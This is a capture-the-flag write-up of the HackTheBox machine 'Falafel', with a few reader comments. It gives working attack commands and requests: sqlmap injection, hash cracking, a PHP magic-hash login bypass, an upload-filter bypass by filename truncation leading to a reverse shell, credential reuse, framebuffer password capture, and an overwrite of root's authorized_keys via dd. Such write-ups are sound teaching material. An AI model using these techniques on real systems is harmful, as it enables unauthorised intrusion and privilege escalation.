Falafel write-up by Alamot


Port scanning

Let’s scan the full range of TCP ports using my tool htbscan.py (you can find it here: code-snippets/htbscan.py at master · Alamot/code-snippets · GitHub).

$ sudo htbscan.py 200

Running command: sudo masscan -e tun0 -p0-65535 --max-rate 200 --interactive

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-06-23 08:46:46 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
rate:  0.20-kpps, 22.83% done,   0:07:18 remaining, found=0          
Discovered open port 22/tcp on                                     
Discovered open port 80/tcp on                                     

Running command: sudo nmap -A -p22,80

Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-23 11:59 EEST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for falafel.htb (
Host is up (0.11s latency).

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 36:c0:0a:26:43:f8:ce:a8:2c:0d:19:21:10:a6:a8:e7 (RSA)
|   256 cb:20:fd:ff:a8:80:f2:a2:4b:2b:bb:e1:76:98:d0:fb (ECDSA)
|_  256 c4:79:2b:b6:a9:b7:17:4c:07:40:f3:e5:7c:1a:e9:dd (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Falafel Lovers
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.8 - 3.11 (94%), Linux 4.4 (94%), Linux 4.8 (94%), Linux 4.9 (94%), Linux 3.18 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Discovering directories and files

If we read we see that there is disallow for the .txt files:

User-agent: *
Disallow: /*.txt

Interesting. Let’s brute force them:

$ dirsearch -u -w /opt/DirBuster/directory-list-2.3-medium.txt -f -e txt 

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: txt | Threads: 10 | Wordlist size: 441041

Error Log: /opt/dirsearch/logs/errors-18-06-23_13-05-46.log


[13:05:52] Starting: 
[13:05:58] 403 -  293B  - /images/
[13:05:59] 403 -  292B  - /icons/
[13:06:02] 403 -  294B  - /uploads/
[13:06:06] 403 -  293B  - /assets/
[13:06:19] 403 -  290B  - /css/
[13:06:36] 403 -  289B  - /js/
[13:07:14] 200 -   30B  - /robots.txt
[13:11:01] 200 -  804B  - /cyberlaw.txt

We found this

From: Falafel Network Admin (admin@falafel.htb)
Date: November 25, 2017 3:30:58 PM PDT
To: lawyers@falafel.htb, devs@falafel.htb
Delivery-Date: Tue, 25 Nov 2017 15:31:01 -0700
Mime-Version: 1.0
X-Spam-Status: score=3.7 tests=DNS_FROM_RFC_POST, HTML_00_10, HTML_MESSAGE, HTML_SHORT_LENGTH version=3.1.7
X-Spam-Level: ***

A user named "chris" has informed me that he could log into MY account without knowing the password,
then take FULL CONTROL of the website using the image upload feature.
We got a cyber protection on the login form, and a senior php developer worked on filtering the URL of the upload,
so I have no idea how he did it.

Dear lawyers, please handle him. I believe Cyberlaw is on our side.
Dear develpors, fix this broken site ASAP.


SQL Injection

There is an SQL injection on :

$ sqlmap -u --dbms=MySQL --method=POST --data="username=x&password=y" --random-agent --risk=3 --level=5 -p username --text-only --string "Wrong identification : admin"

| ID | username | password                         | role   |
|  1 | admin    | 0e462096931906507119562988736854 | admin  |
|  2 | chris    | d4ee02a22fc872e36d9e3751ba72ddc8 | normal |

We can reverse the chris’ hash using hashcat and rockyou.txt:

$ hashcat -m 0 d4ee02a22fc872e36d9e3751ba72ddc8 /usr/share/dict/rockyou.txt


You can login on the website using these credentials (chris:juggling). We have several hints all about juggling…

(Well, in reality, I neved passed from this stage. I went straight for the PHP type juggling. But some guys kept asking me if I had found and/or managed to exploit the sqli. And I was like “What sqli?”… lol).

PHP type juggling and Magic hashes

Read this: https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf

Now, have a look at this:

$ echo -n 240610708 | md5sum
0e462097431906509019562988736854  -
$ echo -n QNKCDZO | md5sum
0e830400451993494058024219903391  -
$ echo -n aabg7XSs | md5sum
0e087386482136013740957780965295  -

All those hashes start with 0e. During comparison PHP will attempt to convert the string to a number then perform a numeric comparison. Comparison operators should be -by definition- extremely boring and those “magic” operators like == in PHP (and in some other languages) should never have existed in the first place. But PHP just happens to be a bit more magical ;).

Now, just use the credentials admin:240610708 to login on the website.

Getting Shell

The upload form has some extension check. We can bypass it using the double extension technique (.php.png) and a long filename in order for the second extension (.png) to be truncated in the code:

POST /upload.php HTTP/1.1
Host: falafel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://falafel.htb/upload.php
Cookie: PHPSESSID=goi4pf4aqrm3j3ocf6pogo4tq7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 264

   <h1>Upload via url:</h1>  
        <h3>Upload Succsesful!</h3> 
        <pre>CMD: cd /var/www/html/uploads/0204-1952_bf738945a7681df9; wget ''</pre>  
        <pre>The name is too long, 240 chars total.
Trying to shorten...
New name is mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.php.
--2018-02-04 19:52:24--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 1115 (1.1K) [image/png]
Saving to: 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.php'

     0K .                                                     100%  104M=0s

2018-02-04 19:52:25 (104 MB/s) - 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm.php' saved [1115/1115]

So, just upload your favorite reverse php shell and setup your listener.

Getting user moshe

Let’s examine connection.php:

$ cat connection.php
   define('DB_SERVER', 'localhost:3306');
   define('DB_USERNAME', 'moshe');
   define('DB_PASSWORD', 'falafelIsReallyTasty');
   define('DB_DATABASE', 'falafel');
   // Check connection
   if (mysqli_connect_errno())
      echo "Failed to connect to MySQL: " . mysqli_connect_error();

We just found some mysql credentials. But maybe those are re-used for ssh. Let’s check it:

$ ssh moshe@
Password: falafelIsReallyTasty
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-112-generic x86_64)


Getting user yossi

Let’s examine in what groups we are members. R(ecommended read about groups: Users and groups - ArchWiki and SystemGroups - Debian Wiki)

$ groups
moshe adm mail news voice floppy audio video games

Now, user moshe is a member of the “video” group. This means that we have access to video capture devices, 2D/3D hardware acceleration and framebuffers. If you don’t know what a framebuffer is read those: Linux framebuffer - Wikipedia and https://www.kernel.org/doc/Documentation/fb/framebuffer.txt.

Now, let’s search files owned by the “video” group:

$ find / -group video 2> /dev/null

Interesting… We have access to the framebuffer device /dev/fb0. We can use a tool like GitHub - AndrewFromMelbourne/fb2png: Save Linux frambuffer (/dev/fb0) to a PNG image file. to convert it to a png picture or you can do this:

$ cat /dev/fb0 > fb0.data

Now we can open fb0.data from Gimp using a width of 784 pixels (you can find the correct width easily by playing with the sliding bar). The ssh password for yossi is revealed on the snapshot image:

$ ssh yossi@
Password: MoshePlzStopHackingMe!
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-112-generic x86_64)

Getting root

User yossi is a member of those groups:

yossi@falafel:~$ groups
yossi adm disk cdrom dip plugdev lpadmin sambashare

Debian’s wiki says about the “disk” group: Raw access to disks. Mostly equivalent to root access. The group disk can be very dangerous, since hard drives in /dev/sd* and /dev/hd* can be read and written bypassing any file system and any partition, allowing a normal user to disclose, alter and destroy both the partitions and the data of such drives without root privileges. Users should never belong to this group.

We can use debugfs command to read everything and dd command to write anywhere.
Let’s read /root/.ssh/authorized_keys using debugfs:

yossi@falafel:/dev/shm/.a$ debugfs -w /dev/sda1 -R "cat /root/.ssh/authorized_keys"
debugfs 1.42.13 (17-May-2015)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI92VC7JWv8vjFeINUryVOfzyTjNUQR+JFVDUBbFA84djurSFv5l3pY9VzM5tScL5NoSWkNeF/eCMu+Ne+fuoa5l6Q10HVqha3kgpP3TLP29TH+B+/bb5vxd0J3PJeklbR8CYQ36bkMARPEcPM901+mzDBikNfSCosJki4wLtnwPxamSAFZDlF+l0UNa8h7FEN/CP8PH62Ig8Zxi2SlD9SKFoOAXSDCP3XZlzU3n7Swgtf9B1RD5nLA/+qPUUj6SL+Qlxixb/kllwbbTFLRCA29QEamv4waHa6uHhqeAtyq7lv9lV2agdo7H9Q6s3LCSnjzr9JC2ffQSvtKUzb3/w9 root@falafel

Let’s find the block where the “/root/.ssh/authorized_keys” file resides:

yossi@falafel:/dev/shm/.a$ debugfs /dev/sda1 -R "blocks /root/.ssh/authorized_keys"
debugfs 1.42.13 (17-May-2015)

Let’s use dd to write our own public key inside /root/.ssh/authorized_keys. This command will write over (i.e. it will replace) the old data:

yossi@falafel:/dev/shm/.a$ dd if=/dev/shm/.a/my_id_rsa.pub of=/dev/sda1 seek=1608806 bs=4096 count=1
0+1 records in
0+1 records out
394 bytes copied, 0.00239741 s, 164 kB/s

Don’t forget to sync afterwards:

yossi@falafel:/dev/shm/.a$ sync

Now, let’s see if we succeeded:

yossi@falafel:/dev/shm/.a$ debugfs -w /dev/sda1 -R "cat /root/.ssh/authorized_keys"
debugfs 1.42.13 (17-May-2015)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkqoxni226ZUH21u4/gq/W+kjRVasgG9Fm+gZCcKr2RAHLyADWz5GdFdGOCvb0+nTMxfH50l+Hf5Hq/dFeysjse1N5i9fJOW9hmzjQ9Gj26TJg94UL3TbzeBqK7SRbvKj4z1wPwYWyDeZ3qo1mH1U0Sg4iwkqpW/WR3VdeXAyUqxJ27BJfYTEgb0H1RSubqxIAu7RWOGw/nwek61No7FRfBrlXhWhEOvUlYOX+0n9n1ofFeDkiswyH27bMjGJbvsFv2erNE2oGWzguhUhZmd3ALf7z6Vq0WyASar2Y7f3uLBe7x4HvvSPyOJd4hEqYJopqe1KACzE7LoTqk6roKT0v alamot@TCOM1

Hooray! :smiley:

ssh -i  ~/.ssh/id_rsa root@

Exploiting glibc for privilege escalation

The exploit glibc < 2.26 - 'getcwd()' Local Privilege Escalation - Linux local Exploit (“glibc - ‘getcwd()’ Local Privilege Escalation” a.k.a. “RationalLove”) used to work on Falabel. Note that I had to compile it using GCC version 6.3.0 in order to make it work. But, anyway, the box has been patched now and it doesn’t work anymore at all as far as I know.

That was quick

nicely written

Nice job ! Just had the time to get past the login page then it was retired :frowning: